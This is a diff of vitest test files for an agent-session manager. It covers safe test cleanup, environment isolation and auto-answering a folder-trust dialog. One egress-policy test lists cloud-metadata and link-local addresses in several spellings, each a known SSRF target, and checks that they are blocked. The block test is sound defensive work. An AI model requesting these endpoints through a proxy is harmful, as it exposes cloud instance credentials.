import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { ApiErrorCode, httpStatusForErrorCode } from '../../src/types.js';
import { registerCaseRoutes } from '../../src/web/routes/case-routes.js';
@@ -147,7 +149,7 @@ describe('POST /api/cases/clone — input rejection', () => {
expect(res.statusCode).toBe(httpStatusForErrorCode(ApiErrorCode.ALREADY_EXISTS));
expect(JSON.parse(res.body).error).toMatch(/already exists/i);
} finally {
rmSync(join(CASES_DIR, 'taken'), { recursive: true, force: true });
safeRmHomeTree(join(CASES_DIR, 'taken'));
}
});
});
@@ -217,7 +219,7 @@ describe.skipIf(!gitPresent)('POST /api/cases/clone — real clone', () => {
afterAll(() => {
rmSync(root, { recursive: true, force: true });
for (const name of created) rmSync(join(CASES_DIR, name), { recursive: true, force: true });
for (const name of created) safeRmHomeTree(join(CASES_DIR, name));
});
beforeEach(buildApp);
@@ -26,12 +26,13 @@ import { mkdtemp, rm, readFile, mkdir, writeFile } from 'node:fs/promises';
import { existsSync } from 'node:fs';
import { join } from 'node:path';
import { tmpdir } from 'node:os';
import { createMockRouteContext } from '../mocks/index.js';
import { createMockRouteContext, safeRmHomeTree, type MockRouteContext } from '../mocks/index.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { registerSessionRoutes } from '../../src/web/routes/session-routes.js';
import { generateHooksConfig, applyWorkspaceHooks } from '../../src/hooks-config.js';
import { getDataDir } from '../../src/config/instance.js';
import { CASES_DIR } from '../../src/web/route-helpers.js';
import { Session } from '../../src/session.js';
interface HooksFile {
hooks?: Record<string, Array<{ matcher?: string; hooks?: Array<{ command?: string }> }>>;
@@ -167,6 +168,17 @@ describe('POST /api/sessions workspace hooks', () => {
// `user@host:session` — locally a RELATIVE path, so a mkdir would create it
// as a junk directory under the server cwd. statusLineTelemetry rides along:
// applyStatusLineConfig mkdirs the same way and used to run for remote attaches.
// SAFETY (2026-08-29): write straight to `getDataDir()` — `test/setup.ts`
// already sandboxes the data dir for the whole file (temp HOME, inherited
// CODEMAN_DATA_DIR stripped; same convention as the docker-hosts fixtures
// below). A prior version of this test stubbed
// CODEMAN_DATA_DIR to a SEPARATE throwaway dir for just this write, but
// `session-routes.ts`'s `CODEMAN_CONFIG_DIR` is a module-load-time constant
// (frozen at the sandboxed dir before this test ever runs), so that fixture
// landed somewhere the route handler could never read it — the remote host
// lookup silently failed and the test passed for the wrong reason (Fastify
// defaults an unset reply code to 200, so the NOT_FOUND branch and the
// intended success branch were indistinguishable by status code alone).
await mkdir(getDataDir(), { recursive: true });
await writeFile(
join(getDataDir(), 'remote-hosts.json'),
@@ -223,6 +235,7 @@ describe('POST /api/sessions workspace hooks', () => {
describe('POST /api/quick-start workspace hooks', () => {
let app: FastifyInstance;
let ctx: MockRouteContext;
const quickStart = (payload: Record<string, unknown>) =>
app.inject({ method: 'POST', url: '/api/quick-start', payload });
@@ -230,19 +243,27 @@ describe('POST /api/quick-start workspace hooks', () => {
const hooksFileIn = (dir: string) => join(dir, '.claude', 'settings.local.json');
beforeEach(async () => {
vi.spyOn(Session.prototype, 'startInteractive').mockResolvedValue(undefined);
vi.spyOn(Session.prototype, 'startShell').mockResolvedValue(undefined);
app = Fastify({ logger: false });
await app.register(fastifyCookie);
registerSessionRoutes(app, createMockRouteContext());
ctx = createMockRouteContext();
registerSessionRoutes(app, ctx);
installRouteErrorHandler(app);
await app.ready();
});
afterEach(async () => {
await app.close();
vi.restoreAllMocks();
// Docker fixtures + case dirs must not leak into the next test.
await rm(join(getDataDir(), 'docker-hosts.json'), { force: true });
await rm(join(getDataDir(), 'docker-cases.json'), { force: true });
await rm(CASES_DIR, { recursive: true, force: true });
// SAFETY (2026-08-29): CASES_DIR is `join(homedir(), 'codeman-cases')`, and
// on environments where `os.homedir()` ignores `$HOME` it resolves to the
// PROD case tree. `safeRmHomeTree` refuses to delete anything not under the
// redirected test HOME, so a run can never nuke the real `~/codeman-cases`.
safeRmHomeTree(CASES_DIR);
});
it('installs hooks into an EXISTING case directory (a linked case / cloned repo)', async () => {
@@ -260,7 +281,7 @@ describe('POST /api/quick-start workspace hooks', () => {
});
/** Minimal docker host + case fixtures (docker IO is no-op'd under vitest). */
const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string) => {
const writeDockerFixtures = async (caseName: string, hostWorkspacePath: string, lastClaudeSessionId?: string) => {
await mkdir(getDataDir(), { recursive: true });
await writeFile(
join(getDataDir(), 'docker-hosts.json'),
@@ -268,7 +289,7 @@ describe('POST /api/quick-start workspace hooks', () => {
);
await writeFile(
join(getDataDir(), 'docker-cases.json'),
JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath }])
JSON.stringify([{ name: caseName, type: 'docker', hostId: 'd1', hostWorkspacePath, lastClaudeSessionId }])
);
};
@@ -300,6 +321,35 @@ describe('POST /api/quick-start workspace hooks', () => {
await rm(ws, { recursive: true, force: true });
}
});
it.each(['codex', 'gemini'] as const)('does not pass a saved Claude conversation id to Docker %s', async (mode) => {
const ws = await mkdtemp(join(tmpdir(), `codeman-docker-${mode}-`));
try {
await writeDockerFixtures('dockexternal', ws, 'e83a9063-3cb4-44d2-a9a0-df153b81721f');
const res = await quickStart({ caseName: 'dockexternal', mode });
expect(res.statusCode).toBe(200);
const session = ctx.sessions.get(JSON.parse(res.body).sessionId);
expect(session?.toState().resumeSessionId).toBeUndefined();
} finally {
await rm(ws, { recursive: true, force: true });
}
});
it('passes a saved Claude conversation id only to Docker Claude', async () => {
const ws = await mkdtemp(join(tmpdir(), 'codeman-docker-resume-'));
const resumeId = 'e83a9063-3cb4-44d2-a9a0-df153b81721f';
try {
await writeDockerFixtures('dockresume', ws, resumeId);
const res = await quickStart({ caseName: 'dockresume', mode: 'claude' });
expect(res.statusCode).toBe(200);
const session = ctx.sessions.get(JSON.parse(res.body).sessionId);
expect(session?.toState().resumeSessionId).toBe(resumeId);
} finally {
await rm(ws, { recursive: true, force: true });
}
});
});
describe('applyWorkspaceHooks (the shared decision core in hooks-config)', () => {
+30
View File
@@ -341,6 +341,36 @@ describe('session-routes', () => {
const body = JSON.parse(res.body);
expect(body.success).toBe(false);
});
it('removes a persisted-only session (not live) via the state store, without touching cleanupSession', async () => {
vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce({
id: 'ghost-session',
owner: undefined,
} as never);
const res = await harness.app.inject({
method: 'DELETE',
url: '/api/sessions/ghost-session',
});
expect(res.statusCode).toBe(200);
const body = JSON.parse(res.body);
expect(body.success).toBe(true);
expect(harness.ctx.store.demoteOrRemoveSession).toHaveBeenCalledWith('ghost-session');
expect(harness.ctx.cleanupSession).not.toHaveBeenCalled();
// Ark0N/Codeman#353 review: the persisted-only branch used to demote/remove
// with no broadcast, so other open tabs kept showing the retired row until
// their next unrelated fetch.
expect(harness.ctx.broadcast).toHaveBeenCalledWith('session:deleted', { id: 'ghost-session' });
});
it('404s a persisted-only session id the state store does not recognize either', async () => {
vi.mocked(harness.ctx.store.getSession).mockReturnValueOnce(null);
const res = await harness.app.inject({
method: 'DELETE',
url: '/api/sessions/truly-nonexistent',
});
expect(res.statusCode).toBe(404);
expect(harness.ctx.store.demoteOrRemoveSession).not.toHaveBeenCalled();
});
});
// ========== DELETE /api/sessions (delete all) ==========
+23 -14
View File
@@ -19,12 +19,34 @@ import Fastify, { type FastifyInstance } from 'fastify';
import fastifyWebsocket from '@fastify/websocket';
import WebSocket, { WebSocketServer } from 'ws';
import { mkdirSync, writeFileSync, rmSync } from 'node:fs';
import { homedir } from 'node:os';
import { join } from 'node:path';
import { createMockRouteContext, type MockRouteContext } from '../mocks/index.js';
import { registerVoiceRoutes, _resetVoiceStreamCountForTesting } from '../../src/web/routes/voice-routes.js';
import { MAX_CONCURRENT_STREAMS } from '../../src/config/voice.js';
// SAFETY (2026-08-29): anchor on the REDIRECTED test HOME (process.env.HOME,
// which test/setup.ts points at a throwaway dir). `os.homedir()` follows it too,
// but this file writes and deletes `~/.claude/.credentials.json`, the one file
// where a wrong anchor would sign the developer out of their own CLI, so it
// fails loudly if setup.ts did not run rather than trusting any fallback.
function testHome(): string {
if (!process.env.HOME) throw new Error('process.env.HOME unset — test/setup.ts must run first');
return process.env.HOME;
}
function writeCredentials(expiresAt: number | undefined): void {
const dir = join(testHome(), '.claude');
mkdirSync(dir, { recursive: true });
writeFileSync(
join(dir, '.credentials.json'),
JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } })
);
}
function removeCredentials(): void {
rmSync(join(testHome(), '.claude', '.credentials.json'), { force: true });
}
const PORT = 3230;
const UPSTREAM_PORT = 3231;
const TOKEN = 'sk-ant-oat01-voice-route-test';
@@ -38,19 +60,6 @@ interface UpstreamCapture {
socket: WebSocket | null;
}
function writeCredentials(expiresAt: number | undefined): void {
const dir = join(homedir(), '.claude');
mkdirSync(dir, { recursive: true });
writeFileSync(
join(dir, '.credentials.json'),
JSON.stringify({ claudeAiOauth: { accessToken: TOKEN, expiresAt, subscriptionType: 'max' } })
);
}
function removeCredentials(): void {
rmSync(join(homedir(), '.claude', '.credentials.json'), { force: true });
}
function waitForClose(ws: WebSocket, timeoutMs = 3000): Promise<{ code: number; reason: string }> {
return new Promise((resolve, reject) => {
const timer = setTimeout(() => reject(new Error('WS close timeout')), timeoutMs);
+57
View File
@@ -16,6 +16,7 @@ import { registerWebviewRoutes } from '../../src/web/routes/webview-routes.js';
import { installRouteErrorHandler } from '../../src/web/route-error-handler.js';
import { webviewCapabilities } from '../../src/webview-capabilities.js';
import { capabilityFromProxyPath } from '../../src/web/webview-proxy.js';
import { writeWebviews } from '../../src/webview-store.js';
import { TabLayoutService } from '../../src/tab-layout-service.js';
import type { TabLayout } from '../../src/tab-layout.js';
@@ -286,3 +287,59 @@ describe('POST /api/webviews/probe', () => {
expect(res.statusCode).toBe(400);
});
});
describe('egress policy: link-local and cloud-metadata targets', () => {
it('refuses to SAVE a metadata address, in every spelling, with a message that says why', async () => {
for (const url of [
'http://169.254.169.254/latest/meta-data/',
'http://2852039166/', // decimal form of 169.254.169.254
'http://[fd00:ec2::254]/',
'http://metadata.google.internal/computeMetadata/v1/',
]) {
const res = await create({ name: 'IMDS', url });
expect(res.statusCode, url).toBe(400);
expect(res.body, url).toMatch(/Blocked URL/);
}
});
it('still saves the loopback dashboards the feature exists for', async () => {
expect((await create({ name: 'Grafana', url: 'http://127.0.0.1:4000/' })).statusCode).toBe(200);
expect((await create({ name: 'Local', url: 'http://localhost:3080/' })).statusCode).toBe(200);
});
it('the probe refuses the same targets up front, before any connection is attempted', async () => {
const res = await app.inject({
method: 'POST',
url: '/api/webviews/probe',
payload: { url: 'http://169.254.169.254/' },
});
expect(res.statusCode).toBe(400);
expect(res.body).toMatch(/Blocked URL/);
});
it('the proxy refuses a record saved before the rule existed with a 403, never a relay', async () => {
// Written straight to the store: the schema would refuse it today, which is
// exactly why the proxy must judge the target again at connect time.
await writeWebviews(tmpDir, [
{
id: 'legacy-imds',
name: 'legacy',
url: 'http://169.254.169.254/',
embedMode: 'proxy',
trusted: false,
createdAt: Date.now(),
},
]);
const cap = webviewCapabilities.mint('legacy-imds', undefined);
const warn = vi.spyOn(console, 'warn').mockImplementation(() => {});
try {
const res = await app.inject({ method: 'GET', url: `/webview/${cap}/latest/meta-data/` });
expect(res.statusCode).toBe(403);
expect(res.body).toMatch(/link-local or cloud-metadata/);
expect(warn).toHaveBeenCalledWith(expect.stringContaining('refused by egress policy'));
} finally {
warn.mockRestore();
webviewCapabilities.revokeWebview('legacy-imds');
}
});
});
+22 -2
View File
@@ -81,6 +81,16 @@ describe('run mode UI', () => {
expect(app.runMode).toBe('antigravity');
expect(runBtnLabel.textContent).toBe('Run AG');
});
it('accepts OMP mode from server sync and updates the run button label', async () => {
const { app, storage, runBtnLabel } = loadRunModeHarness();
storage.set('codeman_runMode', 'claude');
await app.loadAppSettingsFromServer(Promise.resolve({ runMode: 'omp' }));
expect(app.runMode).toBe('omp');
expect(runBtnLabel.textContent).toBe('Run OMP');
});
});
describe('Run launch synchronization', () => {
@@ -367,12 +377,13 @@ describe('Codex quick start settings', () => {
'welcomeGeminiBtn',
'welcomePiBtn',
'welcomeGrokBtn',
'welcomeOmpBtn',
'welcomeTunnelBtn',
]) {
welcomeBtns[id] = { style: { display: 'PRISTINE' } };
}
const modeBtns: Record<string, { style: { display: string } }> = {};
for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'shell']) {
for (const mode of ['claude', 'opencode', 'codex', 'gemini', 'antigravity', 'pi', 'grok', 'omp', 'shell']) {
modeBtns[mode] = { style: { display: 'PRISTINE' } };
}
const menu = {
@@ -405,6 +416,7 @@ describe('Codex quick start settings', () => {
antigravity: false,
pi: false,
grok: false,
omp: false,
cloudflared: false,
};
@@ -442,16 +454,23 @@ describe('Codex quick start settings', () => {
withAgy.app.applyWelcomeCliVisibility();
expect(withAgy.welcomeBtns.welcomeAntigravityBtn.style.display).toBe('flex');
expect(withAgy.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none');
// OMP is a first-class welcome action, gated on `omp` like the rest.
const withOmp = loadUi({ ...ALL_OFF, omp: true });
withOmp.app.applyWelcomeCliVisibility();
expect(withOmp.welcomeBtns.welcomeOmpBtn.style.display).toBe('flex');
expect(withOmp.welcomeBtns.welcomeClaudeBtn.style.display).toBe('none');
});
it('gates every run mode in the dropdown, antigravity included, and never shell', () => {
const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true });
const { app, modeBtns, menu } = loadUi({ ...ALL_OFF, claude: true, antigravity: true, omp: true });
app._refreshRunModeAvailability(menu);
expect(modeBtns.claude.style.display).toBe('flex');
expect(modeBtns.antigravity.style.display).toBe('flex');
expect(modeBtns.opencode.style.display).toBe('none');
expect(modeBtns.codex.style.display).toBe('none');
expect(modeBtns.gemini.style.display).toBe('none');
expect(modeBtns.omp.style.display).toBe('flex');
// Shell needs no external CLI, and leaving it alone is what guarantees the
// menu is never empty on a box with nothing installed.
expect(modeBtns.shell.style.display).toBe('PRISTINE');
@@ -468,6 +487,7 @@ describe('Codex quick start settings', () => {
expect(offered).toContain('antigravity');
expect(offered).toContain('pi');
expect(offered).toContain('grok');
expect(offered).toContain('omp');
const src = readFileSync(resolve(import.meta.dirname, '../src/web/public/session-ui.js'), 'utf8');
// Anchor on the DEFINITION, not the earlier call site in toggleRunModeMenu.
const fn = src.slice(src.indexOf('_refreshRunModeAvailability(menu) {'));
+5 -11
View File
@@ -1,8 +1,9 @@
import { describe, it, expect, beforeAll, afterAll, afterEach, vi } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { existsSync, mkdtempSync, rmSync } from 'node:fs';
import { mkdtempSync, rmSync } from 'node:fs';
import { join } from 'node:path';
import { homedir, tmpdir } from 'node:os';
import { safeRmHomeTree } from './mocks/index.js';
const TEST_PORT = 3120;
const CASES_DIR = join(homedir(), 'codeman-cases');
@@ -27,13 +28,9 @@ describe('Session Cleanup', () => {
});
afterEach(() => {
// Clean up cases created during this test
// Clean up cases created during this test (containment-gated).
while (createdCases.length > 0) {
const caseName = createdCases.pop()!;
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, createdCases.pop()!));
}
});
@@ -228,10 +225,7 @@ describe('Resource Management', () => {
afterAll(async () => {
for (const caseName of createdCases) {
const casePath = join(CASES_DIR, caseName);
if (existsSync(casePath)) {
rmSync(casePath, { recursive: true, force: true });
}
safeRmHomeTree(join(CASES_DIR, caseName));
}
await server.stop();
}, 60000);
+101 -1
View File
@@ -8,10 +8,23 @@
*
* RAW_DIALOG_CHUNK below is a verbatim slice of the PTY stream from a live
* session parked on that dialog (Claude Code 2.1.220).
*
* The second bug this pins: Claude Code 2.1.252 dropped the option numbers, put
* "No, exit" first and highlights IT, so the blind Enter that answered the old
* layout selects *exit* and the pane dies seconds after the session starts.
* RENDERED_DIALOG_2_1_252 is a verbatim `capture-pane -p` of that screen.
*/
import { describe, expect, it, vi, afterEach } from 'vitest';
import { Session } from '../src/session.js';
import { isTrustDialogScreen, compactScreenText, TRUST_DIALOG_MAX_ATTEMPTS } from '../src/session-trust-dialog.js';
import {
isTrustDialogScreen,
compactScreenText,
trustDialogNextKey,
TRUST_KEY_CONFIRM,
TRUST_KEY_DOWN,
TRUST_KEY_UP,
TRUST_DIALOG_MAX_ATTEMPTS,
} from '../src/session-trust-dialog.js';
/** Verbatim from the wire: note the `\x1b[C` where every space should be. */
const RAW_DIALOG_CHUNK =
@@ -29,6 +42,25 @@ const RENDERED_DIALOG = [
' Enter to confirm · Esc to cancel',
].join('\n');
/**
* Verbatim `capture-pane -p` from Claude Code 2.1.252 on a fresh case: no
* numbers, the options reversed, and the cursor parked on the one that quits.
*/
const RENDERED_DIALOG_2_1_252 = [
' Accessing workspace:',
' /home/arkon/codeman-cases/trustprobe1',
' Quick safety check: Is this a project you created or one you trust? (Like your own code, a well-known open source',
" project, or work from your team). If not, take a moment to review what's in this folder first.",
" Claude Code'll be able to read, edit, and execute files here.",
' Security guide',
' ❯ No, exit',
' Yes, I trust this folder',
' Enter to confirm · Esc to cancel',
].join('\n');
/** The same screen after one arrow press: the cursor has moved onto "yes". */
const RENDERED_DIALOG_2_1_252_ON_YES = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit\n Yes,', ' No, exit\n ❯ Yes,');
/** An ordinary working session: no dialog anywhere. */
const RENDERED_MAIN_UI = [
'✻ Actualizing… (13m 23s · ↓ 47.5k tokens)',
@@ -61,12 +93,54 @@ describe('isTrustDialogScreen', () => {
expect(isTrustDialogScreen('press Enter to confirm the release')).toBe(false);
});
it('sees the 2.1.252 dialog, whose options lost their numbers', () => {
// '2.no,exit' is gone from this layout, so the confirm affordance is now the
// only thing carrying the match.
expect(isTrustDialogScreen(RENDERED_DIALOG_2_1_252)).toBe(true);
});
it('compacts away both real spaces and the escapes tmux sends instead', () => {
expect(compactScreenText('I\x1b[Ctrust\x1b[Cthis\x1b[Cfolder')).toBe('itrustthisfolder');
expect(compactScreenText('I trust this folder')).toBe('itrustthisfolder');
});
});
describe('trustDialogNextKey', () => {
it('confirms straight away when the trust option is already highlighted', () => {
expect(trustDialogNextKey(RENDERED_DIALOG)).toBe(TRUST_KEY_CONFIRM);
expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252_ON_YES)).toBe(TRUST_KEY_CONFIRM);
});
it('moves DOWN instead of confirming when 2.1.252 parks the cursor on "No, exit"', () => {
// The regression in one line: Enter here answers *exit* and kills the pane.
expect(trustDialogNextKey(RENDERED_DIALOG_2_1_252)).toBe(TRUST_KEY_DOWN);
});
it('moves UP when the trust option is the one above, as in the numbered layout', () => {
const numberedOnNo = RENDERED_DIALOG.replace(' ❯ 1. Yes,', ' 1. Yes,').replace(
' 2. No, exit',
' ❯ 2. No, exit'
);
expect(trustDialogNextKey(numberedOnNo)).toBe(TRUST_KEY_UP);
});
it('reads the LAST frame in an append-only buffer, not the first', () => {
// The direct-PTY fallback has no pane to capture, so it reads a buffer that
// still holds every repaint since launch. The freshest frame is the truth.
const buffer = `${RENDERED_DIALOG_2_1_252}\n${RENDERED_DIALOG_2_1_252_ON_YES}`;
expect(trustDialogNextKey(buffer)).toBe(TRUST_KEY_CONFIRM);
});
it('presses nothing when the screen does not say which option is selected', () => {
// A layout this cannot read is a dialog for the human, not a coin flip: the
// wrong guess exits Claude.
const noMarker = RENDERED_DIALOG_2_1_252.replace(' ❯ No, exit', ' No, exit');
expect(trustDialogNextKey(noMarker)).toBe(null);
expect(trustDialogNextKey(RENDERED_MAIN_UI)).toBe(null);
expect(trustDialogNextKey('')).toBe(null);
});
});
describe('Session trust-dialog auto-accept', () => {
afterEach(() => vi.useRealTimers());
@@ -102,6 +176,32 @@ describe('Session trust-dialog auto-accept', () => {
expect(writes).toEqual(['\r']);
});
it('walks the 2.1.252 dialog onto the trust option before it confirms', () => {
vi.useFakeTimers();
// The whole point: no Enter goes out while "No, exit" is highlighted.
let screen = RENDERED_DIALOG_2_1_252;
const { writes, tick } = sessionShowing(() => screen);
tick();
expect(writes).toEqual([TRUST_KEY_DOWN]);
screen = RENDERED_DIALOG_2_1_252_ON_YES;
vi.advanceTimersByTime(2000);
tick();
expect(writes).toEqual([TRUST_KEY_DOWN, TRUST_KEY_CONFIRM]);
});
it('never presses Enter while the cursor sits on "No, exit"', () => {
vi.useFakeTimers();
// A dialog that never moves (a dropped arrow, a wedged pane) must run out of
// attempts pressing arrows, not answer *exit* on the way.
const { writes, tick } = sessionShowing(() => RENDERED_DIALOG_2_1_252);
for (let i = 0; i < 20; i++) {
tick();
vi.advanceTimersByTime(2000);
}
expect(writes).toEqual(Array(TRUST_DIALOG_MAX_ATTEMPTS).fill(TRUST_KEY_DOWN));
});
it('retries a dropped keystroke, then gives up rather than typing forever', () => {
vi.useFakeTimers();
// Ink can drop a keystroke while it is still mounting the widget, so one
+41 -3
View File
@@ -5,8 +5,11 @@
* mode before application modules load. Tests therefore cannot touch the real
* Codeman state/cases tree or launch external tmux-backed agent sessions.
*
* This setup file strips shell-level auth configuration that can leak from a
* running Codeman instance, then handles mock/timer cleanup between tests.
* This setup file strips shell-level configuration that can leak from a running
* Codeman instance — auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`), the gesture
* flag, and the three INSTANCE-selection vars that would otherwise point the
* suite at a real data dir or tmux socket — then handles mock/timer cleanup
* between tests.
*/
import { mkdtempSync, rmSync } from 'node:fs';
@@ -39,6 +42,39 @@ delete process.env.CODEMAN_USERNAME;
// (test/server-index-title.test.ts) when the shell exports CODEMAN_GESTURE=1.
delete process.env.CODEMAN_GESTURE;
// Instance selection is PROCESS-WIDE and is what `src/config/instance.ts` derives
// both the data dir and the tmux socket from, so a shell that exports any of these
// three reaches straight past the temp HOME above and undoes the isolation this
// file exists to provide:
//
// - CODEMAN_DATA_DIR is the dangerous one. It is an ABSOLUTE override read in
// `getDataDir()`, so it bypasses HOME entirely: a developer who exports it
// (or a shell left over from `codeman web -d`) has the suite reading and
// WRITING their real `state.json`, `users.json`, `intents.json` and
// `hook-secret` instead of a throwaway tree. Found live 2026-08-29 (#356):
// `session-routes-workspace-hooks.test.ts` overwrote a production
// `remote-hosts.json` with its `h1/box/10.0.0.5` fixture. `os.homedir()`
// itself DOES follow `$HOME`, so with this var gone `getDataDir()` lands
// under the temp HOME like everything else. (#356 first answered this by
// pointing the var at a second throwaway dir; deleting it is the same
// protection with one tree to clean up.)
// - CODEMAN_INSTANCE moves the data dir to `~/.codeman-<name>` and the socket to
// `codeman-<name>`. Inside the temp HOME that is not a data-loss risk, but it
// silently changes the paths tests assert on — and `scripts/run-beta.sh`
// exports it, so any shell that has run a beta carries it.
// - CODEMAN_TMUX_SOCKET renames the socket `resolveTmuxSocketName()` returns.
// `TmuxManager` no-ops its shell commands under vitest, so this is assertion
// drift rather than a stray `tmux -L` against prod — but it is the same class
// of leak and the same one-line fix.
//
// ⚠️ These must be deleted HERE rather than in a test, because `CODEMAN_INSTANCE`
// is captured into a module-level const the first time `config/instance.ts` is
// imported. A setup file runs before any application module loads; a beforeEach
// would already be too late.
delete process.env.CODEMAN_INSTANCE;
delete process.env.CODEMAN_DATA_DIR;
delete process.env.CODEMAN_TMUX_SOCKET;
afterEach(() => {
vi.clearAllMocks();
vi.useRealTimers();
@@ -50,7 +86,9 @@ afterAll(async () => {
// "onUserConsoleLog" call is still pending, and that single unhandled
// EnvironmentTeardownError fails the run after every test has passed
// (observed twice on the PR #175/#176 merge commit; never locally).
await new Promise((resolve) => setTimeout(resolve, 50));
const { promise: drained, resolve: drainDone } = Promise.withResolvers<void>();
setTimeout(drainDone, 50);
await drained;
if (originalHome === undefined) delete process.env.HOME;
else process.env.HOME = originalHome;
+5 -7
View File
@@ -1,6 +1,9 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { EventEmitter } from 'node:events';
import { safeRmHomeTree } from './mocks/index.js';
import { homedir } from 'node:os';
import { join } from 'node:path';
const TEST_PORT = 3107;
@@ -295,13 +298,8 @@ describe('SSE Event Types', () => {
expect(caseCreated).toBeDefined();
expect((caseCreated?.data as any).name).toBe(caseName);
// Cleanup
const { rmSync } = await import('node:fs');
const { join } = await import('node:path');
const { homedir } = await import('node:os');
try {
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
} catch {}
// Cleanup (containment-gated)
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
});
});
});
+5 -9
View File
@@ -1,5 +1,8 @@
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { WebServer } from '../src/web/server.js';
import { safeRmHomeTree } from './mocks/index.js';
import { homedir } from 'node:os';
import { join } from 'node:path';
const TEST_PORT = 3212;
@@ -437,14 +440,7 @@ describe('SSE Subscription Filtering', () => {
expect(caseCreated).toBeDefined();
expect((caseCreated?.data as any).name).toBe(caseName);
// Cleanup
const { rmSync } = await import('node:fs');
const { join } = await import('node:path');
const { homedir } = await import('node:os');
try {
rmSync(join(homedir(), 'codeman-cases', caseName), { recursive: true });
} catch {
/* may not exist */
}
// Cleanup (containment-gated)
safeRmHomeTree(join(homedir(), 'codeman-cases', caseName));
});
});
+73
View File
@@ -0,0 +1,73 @@
/**
* @fileoverview Pins the environment isolation `test/setup.ts` provides.
*
* The suite's hermeticity rests on a temp `HOME` plus a short list of env vars that are
* deleted before any application module loads. That list is easy to under-maintain: it grew
* once for auth (`CODEMAN_PASSWORD`/`CODEMAN_USERNAME`) and once for `CODEMAN_GESTURE`, both
* times only after a leak had already produced a confusing failure, and it was still missing
* the three INSTANCE-selection vars.
*
* Those three matter more than the ones already on the list, because `src/config/instance.ts`
* derives BOTH the data dir and the tmux socket from them, and `CODEMAN_DATA_DIR` is an
* absolute path that bypasses `HOME` entirely — so a developer who exports it has the suite
* reading and writing their real `state.json` rather than a throwaway tree.
*
* ⚠️ The runtime half of this file cannot fail on a machine where the vars were never set, so
* it is not enough on its own: a `delete` line removed from `setup.ts` would still pass here
* on almost every developer's box and on CI. The STATIC half is what actually guards the
* list — it reads `setup.ts` and asserts each name is deleted there, which fails wherever the
* suite runs. Both halves are deliberate; do not drop the static one as redundant.
*
* Port: none (pure, over process.env and one source file).
*/
import { describe, expect, it } from 'vitest';
import { readFileSync } from 'node:fs';
import { fileURLToPath } from 'node:url';
/** Every env var `setup.ts` must strip, with why it would otherwise leak. */
const STRIPPED_ENV_VARS: Array<[name: string, why: string]> = [
['CODEMAN_PASSWORD', 'auth from a running instance would make protected routes behave differently'],
['CODEMAN_USERNAME', 'same, and it changes which owner scoping resolves to'],
['CODEMAN_GESTURE', 'flips renderIndexHtml output and breaks byte-identity assertions'],
['CODEMAN_INSTANCE', 'moves the data dir to ~/.codeman-<name> and the tmux socket to codeman-<name>'],
['CODEMAN_DATA_DIR', 'ABSOLUTE override: bypasses the temp HOME and points the suite at a real data dir'],
['CODEMAN_TMUX_SOCKET', 'renames the socket resolveTmuxSocketName() returns'],
];
const SETUP_SOURCE = readFileSync(fileURLToPath(new URL('./setup.ts', import.meta.url)), 'utf-8');
/**
* Just the top-of-file STRIP section, cut at the first hook.
*
* The teardown below it restores HOME/USERPROFILE/VITEST/PLAYWRIGHT_BROWSERS_PATH with the
* same `delete` syntax, and those are the opposite of a strip — counting them would make the
* anti-drift check demand a reason for a var the suite deliberately puts back.
*/
const SETUP_STRIP_SECTION = SETUP_SOURCE.split(/^afterEach\(/m)[0];
describe('test environment isolation', () => {
it.each(STRIPPED_ENV_VARS)('%s is unset while the suite runs', (name) => {
expect(process.env[name], `${name} leaked into the test environment`).toBeUndefined();
});
it.each(STRIPPED_ENV_VARS)('setup.ts deletes %s (%s)', (name) => {
// The half that fails everywhere, not just on a machine that happens to export the var.
expect(SETUP_SOURCE, `setup.ts no longer deletes ${name}`).toContain(`delete process.env.${name};`);
});
it('runs against a throwaway HOME, not the real one', () => {
// The property every other test's isolation is built on: `~/.codeman` and `~/codeman-cases`
// both resolve under here, so a test that writes state cannot reach the developer's own.
const home = process.env.HOME ?? process.env.USERPROFILE;
expect(home).toBeTruthy();
expect(home).toContain('codeman-vitest-');
});
it('lists every name the setup file strips (anti-drift)', () => {
// Catches the other direction: a var added to setup.ts but never given a reason here, so
// the next person cannot tell whether it is load-bearing or left over.
const deleted = [...SETUP_STRIP_SECTION.matchAll(/delete process\.env\.([A-Z0-9_]+);/g)].map((m) => m[1]).sort();
expect(deleted).toEqual(STRIPPED_ENV_VARS.map(([name]) => name).sort());
});
});
+132
View File
@@ -0,0 +1,132 @@
/**
* Web-tab proxy capabilities must die with the login that minted them.
*
* `WebviewCapabilityStore.revokeOwner()` shipped for two releases with a docstring
* saying logout called it and NO caller. The capability is a bearer credential
* exempt from cookie auth, with a rolling TTL refreshed on every use, so a leaked
* proxy URL stayed valid indefinitely. These tests pin every call site:
* `POST /api/logout` (own identity), the admin forced logout, and user deletion.
*/
import { describe, it, expect, beforeAll, afterAll } from 'vitest';
import { WebviewCapabilityStore, webviewCapabilities } from '../src/webview-capabilities.js';
import { createRouteTestHarness, type RouteTestHarness } from './routes/_route-test-utils.js';
import { registerSessionRoutes } from '../src/web/routes/session-routes.js';
import { registerAdminRoutes } from '../src/web/routes/admin-routes.js';
import { createUser, invalidateUsersCache } from '../src/user-store.js';
const PASSWORD = 'correct-horse-battery-staple';
describe('WebviewCapabilityStore.revokeOwner', () => {
